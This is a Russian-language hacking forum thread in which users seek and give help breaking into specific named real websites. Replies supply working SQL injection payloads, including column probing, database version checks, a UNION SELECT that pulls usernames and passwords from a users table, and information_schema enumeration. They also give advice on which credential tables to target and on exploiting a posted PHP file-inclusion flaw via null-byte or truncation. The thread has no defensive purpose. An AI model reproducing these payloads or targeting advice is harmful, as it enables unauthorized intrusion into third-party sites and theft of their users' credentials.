Ваши вопросы по уязвимостям.

Code:

http://www.mieszkania.inter-bud.pl/m-os.php?id=115

PostgreSQL. Статью читал, но ни ордер баем ни юнион селектом не подобрал. Прошу помощи

Code:

http://www.gambitlive.com/night.php?id=90

MySQL 5 (по блинду узнал), но юниона не читает. Можно сделать вывод там?

 

Подскажие пожалуйста сканеры ТОЛЬКО SQL-inj , которые сканировали бы, например, сайт на параметарезированные ссылки. (Что-то типа запроса к гуглу: site: moy_Sayt.ru inurl:"ID=")
SIPT,NetDeviLz SQL Scanner не катят))

 

Архивчик битый в этой теме, перезалейте плиз.

 

можно, вот:

 

никак не могу подобрать столбцы, хотя на лицо, что это обычная MySQL inj
http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619
подскажите плиз))

 

http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619+order+by+4/*

4-ый мускул
http://www.extreme-shop.ru/ru/catalogue/detail.shtml?CATALOGUE_ID=3&PRODUCT_ID=619+and+substring(version(),1,1)=4

p.s. раскручивайте её как слепую, имхо.

 

PHP:

if (!IsSet($t)&!IsSet($f))
    {
    $f="main";
    $filename=$f . ".php";
    }
    else
        {
        if (IsSet($t)&!IsSet($f))
            {
            $filename=$t . "/index.php";
            }
        if (IsSet($t)&IsSet($f))
            {
            $filename= $t . "/" . $f . ".php";
            }
        if (!IsSet($t)&IsSet($f))
            {
            $filename=$f . ".php";
            }
}
if (file_exists("$filename"))
{ include("$filename"); }
else
{ echo " <div class=\"alert\">  404,   . </div>"; }
        

Можно ли в такое инъекцию провести и как?

 

насколько позволяет моя квалификация... в этом коде возможна php-inj
защиты тут в общем-то никакой нет.

расширение отбрасывайте с помощью null-byte либо с помощью усечения...

 

2 Byrger
ты же уже задавал этот вопрос, не доходчиво объяснили?
https://forum.antichat.net/printthread.php?t=46016&page=185&pp=40

 

Подзапросами, которых в этой версии нету?

Попробуй покрутить скуль в другом месте.

 

Не проходит я же написал помойму

 

подскажите плиз как дораскрутить....4* всегда вызывает у меня проблемы..., если можно, то с небольшими разъяснениями( Ососбенно как подобрать имена таблиц и колонок) вот до чего дошел я(до принтаьельной колонке):

http://www.gsl.ru/publicate/pub_content.php?id=-1+union+select+1,2,3,4,5,6,7--

 

http://www.gsl.ru/publicate/pub_content.php?id=-1+union+select+1,2,3,4,concat_ws(char(58),username,password),6,7+from+users--

дальше сам подбирай другие колонки и таблици...

 

Code:

ttp://times.ua/search/results/?keyword=1'

Это инъекция?

 

Acunetix Web Vulnerability Scanner 6.x, Core Impact 7.5
Мошнее я не видел еще

 

Да

Code:

http://times.ua/search/results/?keyword=1'+and+1=2+union+select+1,2,3,table_name+from+information_schema.tables--+

5 ветка и вывод очень удобный, вся инфа сразу на одной странице.

 

jecka3000
в 4-х скулях подбор таблиц и колонок происходит подбором. Здесь это написано
https://forum.antichat.ru/threadnav43966-1-10.html

для автоматизации (брутфорс таблиц,колонок из словоря), можно использоваться SIPT4
что касается таблиц, в первую очередь следует проверять такие как: user, users,admin,admins,member,members,accounts,profiles,etc (если конечно, Вас интересуют эти данные )

 

Спасибо. Я пробовал подставлять так - http://times.ua/search/results/?keyword=1'/*, т.е. отсечь все лишнее, но ошибка выводилась, поэтому и не подбирал.

 

Хочу понять как искать логи апача через

К примеру

Pid: 14786 - но при каждом обновлении страницы он меняется.

Выдаёт что такого файла нет (%{FD_ID} - пробовал менять).

Напишите эксплуатацию этой техники поподробней, пожалуйста

 

просто и "/*" и "--" знаки начала комментария )